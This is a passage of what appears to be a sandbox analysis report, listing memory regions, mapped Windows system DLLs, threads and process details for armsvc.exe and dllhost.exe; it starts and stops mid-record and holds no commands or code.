0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5762 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5763 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5764 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5765 start_va = 0x654bf80000 end_va = 0x654c08ffff entry_point = 0x0 region_type = private name = "private_0x000000654bf80000" filename = "" Region: id = 5767 start_va = 0x654ab60000 end_va = 0x654ab60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654ab60000" filename = "" Region: id = 5768 start_va = 0x654bf80000 end_va = 0x654c06ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654bf80000" filename = "" Region: id = 5769 start_va = 0x654c080000 end_va = 0x654c08ffff entry_point = 0x0 region_type = private name = "private_0x000000654c080000" filename = "" Region: id = 5770 start_va = 0x654ab60000 end_va = 0x654ab63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654ab60000" filename = "" Region: id = 5771 start_va = 0x654c070000 end_va = 0x654c076fff entry_point = 0x0 region_type = private name = "private_0x000000654c070000" filename = "" Region: id = 5772 start_va = 0x654c090000 end_va = 0x654c090fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654c090000" filename = "" Region: id = 5773 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5774 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5775 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5776 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5777 start_va = 0x654c0a0000 end_va = 0x654c374fff entry_point = 0x654c0a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5786 start_va = 0x654c380000 end_va = 0x654c3fffff entry_point = 0x0 region_type = private name = "private_0x000000654c380000" filename = "" Region: id = 5787 start_va = 0x654c400000 end_va = 0x654c47ffff entry_point = 0x0 region_type = private name = "private_0x000000654c400000" filename = "" Region: id = 5788 start_va = 0x654c480000 end_va = 0x654c4fffff entry_point = 0x0 region_type = private name = "private_0x000000654c480000" filename = "" Region: id = 5789 start_va = 0x7ff738df8000 end_va = 0x7ff738df9fff entry_point = 0x0 region_type = private name = "private_0x00007ff738df8000" filename = "" Region: id = 5790 start_va = 0x7ff738dfa000 end_va = 0x7ff738dfbfff entry_point = 0x0 region_type = private name = "private_0x00007ff738dfa000" filename = "" Region: id = 5791 start_va = 0x7ff738dfc000 end_va = 0x7ff738dfdfff entry_point = 0x0 region_type = private name = "private_0x00007ff738dfc000" filename = "" Region: id = 5830 start_va = 0x654c500000 end_va = 0x654c57ffff entry_point = 0x0 region_type = private name = "private_0x000000654c500000" filename = "" Region: id = 5831 start_va = 0x654c580000 end_va = 0x654c5fffff entry_point = 0x0 region_type = private name = "private_0x000000654c580000" filename = "" Region: id = 5832 start_va = 0x7ff738cce000 end_va = 0x7ff738ccffff entry_point = 0x0 region_type = private name = "private_0x00007ff738cce000" filename = "" Region: id = 5833 start_va = 0x7ff738df6000 end_va = 0x7ff738df7fff entry_point = 0x0 region_type = private name = "private_0x00007ff738df6000" filename = "" Region: id = 5834 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Thread: id = 522 os_tid = 0x604 Thread: id = 529 os_tid = 0x624 Thread: id = 530 os_tid = 0x628 Thread: id = 531 os_tid = 0x62c Thread: id = 534 os_tid = 0x638 Thread: id = 535 os_tid = 0x63c Process: id = "63" image_name = "armsvc.exe" filename = "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe" page_root = "0x6fa2c000" os_pid = "0x630" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 5797 start_va = 0x2a0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 5798 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 5799 start_va = 0x2d0000 end_va = 0x2defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 5800 start_va = 0x2e0000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5801 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 5802 start_va = 0x420000 end_va = 0x423fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 5803 start_va = 0x13a0000 end_va = 0x13b4fff entry_point = 0x13a7bc0 region_type = mapped_file name = "armsvc.exe" filename = "\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\armsvc.exe") Region: id = 5804 start_va = 0x774a0000 end_va = 0x77607fff entry_point = 0x774a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5805 start_va = 0x7f080000 end_va = 0x7f0a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f080000" filename = "" Region: id = 5806 start_va = 0x7f0a8000 end_va = 0x7f0a8fff entry_point = 0x0 region_type = private name = "private_0x000000007f0a8000" filename = "" Region: id = 5807 start_va = 0x7f0aa000 end_va = 0x7f0aafff entry_point = 0x0 region_type = private name = "private_0x000000007f0aa000" filename = "" Region: id = 5808 start_va = 0x7f0ad000 end_va = 0x7f0affff entry_point = 0x0 region_type = private name = "private_0x000000007f0ad000" filename = "" Region: id = 5809 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5810 start_va = 0x7fff0000 end_va = 0x7ffd1f91ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5811 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5812 start_va = 0x7ffd1fac9000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffd1fac9000" filename = "" Region: id = 5822 start_va = 0x430000 end_va = 0x430fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 5824 start_va = 0x440000 end_va = 0x441fff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5849 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5850 start_va = 0x773d0000 end_va = 0x773d8fff entry_point = 0x773d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5851 start_va = 0x773e0000 end_va = 0x77447fff entry_point = 0x773e0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5852 start_va = 0x77450000 end_va = 0x77498fff entry_point = 0x77450000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5893 start_va = 0x75bd0000 end_va = 0x75d0ffff entry_point = 0x75bd0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5909 start_va = 0x450000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5910 start_va = 0x75bd0000 end_va = 0x75d0ffff entry_point = 0x75be49ce region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5911 start_va = 0x75280000 end_va = 0x7534efff entry_point = 0x75280000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5915 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 5916 start_va = 0x7ef80000 end_va = 0x7f07ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef80000" filename = "" Region: id = 5917 start_va = 0x5f0000 end_va = 0x66dfff entry_point = 0x5f0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5918 start_va = 0x75400000 end_va = 0x7554ffff entry_point = 0x75400000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5920 start_va = 0x75ea0000 end_va = 0x75f16fff entry_point = 0x75ea0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5944 start_va = 0x75f70000 end_va = 0x77112fff entry_point = 0x75f70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 5991 start_va = 0x75a20000 end_va = 0x75b2afff entry_point = 0x75a20000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 6012 start_va = 0x75b30000 end_va = 0x75bb6fff entry_point = 0x75b30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 6013 start_va = 0x2b0000 end_va = 0x2b3fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 6014 start_va = 0x75550000 end_va = 0x756cefff entry_point = 0x75550000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 6015 start_va = 0x75d10000 end_va = 0x75d48fff entry_point = 0x75d10000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 6026 start_va = 0x74db0000 end_va = 0x74e52fff entry_point = 0x74db0000 region_type = mapped_file name = "msvcr90.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.8387_none_5094ca96bcb6b2bb\\msvcr90.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.8387_none_5094ca96bcb6b2bb\\msvcr90.dll") Region: id = 6027 start_va = 0x77280000 end_va = 0x77387fff entry_point = 0x77280000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6044 start_va = 0x75d50000 end_va = 0x75e0dfff entry_point = 0x75d50000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6045 start_va = 0x759e0000 end_va = 0x75a1dfff entry_point = 0x759e0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6046 start_va = 0x771c0000 end_va = 0x77270fff entry_point = 0x771c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6052 start_va = 0x750a0000 end_va = 0x751edfff entry_point = 0x750a0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6053 start_va = 0x75f20000 end_va = 0x75f60fff entry_point = 0x75f20000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 6059 start_va = 0x75210000 end_va = 0x7521dfff entry_point = 0x75210000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 6060 start_va = 0x74ed0000 end_va = 0x74eecfff entry_point = 0x74ed0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6061 start_va = 0x74ec0000 end_va = 0x74ec8fff entry_point = 0x74ec0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6062 start_va = 0x74e60000 end_va = 0x74eb0fff entry_point = 0x74e60000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6065 start_va = 0x670000 end_va = 0x7f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 6066 start_va = 0x800000 end_va = 0x980fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 6067 start_va = 0x990000 end_va = 0xa4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 6068 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 6069 start_va = 0x450000 end_va = 0x450fff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 6070 start_va = 0x490000 end_va = 0x58ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 6071 start_va = 0xa50000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6072 start_va = 0xa50000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6073 start_va = 0xbd0000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 6154 start_va = 0x590000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 6155 start_va = 0xac0000 end_va = 0xbbffff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 6156 start_va = 0x7f0a5000 end_va = 0x7f0a7fff entry_point = 0x0 region_type = private name = "private_0x000000007f0a5000" filename = "" Region: id = 6181 start_va = 0xa50000 end_va = 0xa8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 6182 start_va = 0xab0000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 6183 start_va = 0xbe0000 end_va = 0xcdffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 6184 start_va = 0x7ef7d000 end_va = 0x7ef7ffff entry_point = 0x0 region_type = private name = "private_0x000000007ef7d000" filename = "" Region: id = 6226 start_va = 0x74da0000 end_va = 0x74da8fff entry_point = 0x74da0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 6227 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 8597 start_va = 0xd60000 end_va = 0xd9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 8598 start_va = 0xda0000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 8599 start_va = 0x7ef7a000 end_va = 0x7ef7cfff entry_point = 0x0 region_type = private name = "private_0x000000007ef7a000" filename = "" Thread: id = 532 os_tid = 0x634 Thread: id = 559 os_tid = 0x688 Thread: id = 560 os_tid = 0x68c Thread: id = 800 os_tid = 0x960 Thread: id = 938 os_tid = 0xbbc Process: id = "64" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x5d906000" os_pid = "0x6a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6233 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6234 start_va = 0x7d54360000 end_va = 0x7d5437ffff entry_point = 0x0 region_type = private name = "private_0x0000007d54360000" filename = "" Region: id = 6235 start_va = 0x7d54380000 end_va = 0x7d5438efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54380000" filename = "" Region: id = 6236 start_va = 0x7d54390000 end_va = 0x7d5448ffff entry_point = 0x0 region_type = private name = "private_0x0000007d54390000" filename = "" Region: id = 6237 start_va = 0x7d54490000 end_va = 0x7d54493fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54490000" filename = "" Region: id = 6238 start_va = 0x7ff60bc50000 end_va = 0x7ff60bc72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60bc50000" filename = "" Region: id = 6239 start_va = 0x7ff60bc78000 end_va = 0x7ff60bc78fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc78000" filename = "" Region: id = 6240 start_va = 0x7ff60bc7e000 end_va = 0x7ff60bc7ffff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc7e000" filename = "" Region: id = 6241 start_va = 0x7ff60bd90000 end_va = 0x7ff60bd96fff entry_point = 0x7ff60bd91184 region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe") Region: id = 6242 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6243 start_va = 0x7d544a0000 end_va = 0x7d544a1fff entry_point = 0x0 region_type = private name = "private_0x0000007d544a0000" filename = "" Region: id = 6246 start_va = 0x7d544b0000 end_va = 0x7d5462ffff entry_point = 0x0 region_type = private name = "private_0x0000007d544b0000" filename = "" Region: id = 6247 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6248 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6249 start_va = 0x7d54360000 end_va = 0x7d5436ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54360000" filename = "" Region: id = 6250 start_va = 0x7ff60bb50000 end_va = 0x7ff60bc4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff60bb50000" filename = "" Region: id = 6251 start_va = 0x7d544b0000 end_va = 0x7d5452dfff entry_point = 0x7d544b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6252 start_va = 0x7d54530000 end_va = 0x7d5462ffff entry_point = 0x0 region_type = private name = "private_0x0000007d54530000" filename = "" Region: id = 6253 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6254 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6255 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6256 start_va = 0x7d54630000 end_va = 0x7d546effff entry_point = 0x0 region_type = private name = "private_0x0000007d54630000" filename = "" Region: id = 6257 start_va = 0x7d54370000 end_va = 0x7d54376fff entry_point = 0x0 region_type = private name = "private_0x0000007d54370000" filename = "" Region: id = 6258 start_va = 0x7d546f0000 end_va = 0x7d547a9fff entry_point = 0x7d5471c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6259 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6260 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6261 start_va = 0x7d54630000 end_va = 0x7d54636fff entry_point = 0x0 region_type = private name = "private_0x0000007d54630000" filename = "" Region: id = 6262 start_va = 0x7d546e0000 end_va = 0x7d546effff entry_point = 0x0 region_type = private name = "private_0x0000007d546e0000" filename = "" Region: id = 6263 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6265 start_va = 0x7d54640000 end_va = 0x7d54640fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54640000" filename = "" Region: id = 6266 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6267 start_va = 0x7d54650000 end_va = 0x7d54650fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54650000" filename = "" Region: id = 6275 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6276 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6281 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6282 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6283 start_va = 0x7d546f0000 end_va = 0x7d549c4fff entry_point = 0x7d546f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6291 start_va = 0x7d549d0000 end_va = 0x7d54acffff entry_point = 0x0 region_type = private name = "private_0x0000007d549d0000" filename = "" Region: id = 6292 start_va = 0x7d54ad0000 end_va = 0x7d54bcffff entry_point = 0x0 region_type = private name = "private_0x0000007d54ad0000" filename = "" Region: id = 6293 start_va = 0x7ff60bc7a000 end_va = 0x7ff60bc7bfff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc7a000" filename = "" Region: id = 6294 start_va = 0x7ff60bc7c000 end_va = 0x7ff60bc7dfff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc7c000" filename = "" Region: id = 6295 start_va = 0x7d54bd0000 end_va = 0x7d54ccffff entry_point = 0x0 region_type = private name = "private_0x0000007d54bd0000" filename = "" Region: id = 6296 start_va = 0x7d54cd0000 end_va = 0x7d54dcffff entry_point = 0x0 region_type = private name = "private_0x0000007d54cd0000" filename = "" Region: id = 6297 start_va = 0x7ff60bc74000 end_va = 0x7ff60bc75fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc74000" filename = "" Region: id = 6298 start_va = 0x7ff60bc76000 end_va = 0x7ff60bc77fff entry_point = 0x0 region_type = private name = "private_0x00007ff60bc76000" filename = "" Region: id = 6299 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6300 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6301 start_va = 0x7d54660000 end_va = 0x7d54693fff entry_point = 0x7d54661030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6302 start_va = 0x7d54dd0000 end_va = 0x7d54f57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54dd0000" filename = "" Region: id = 6303 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = 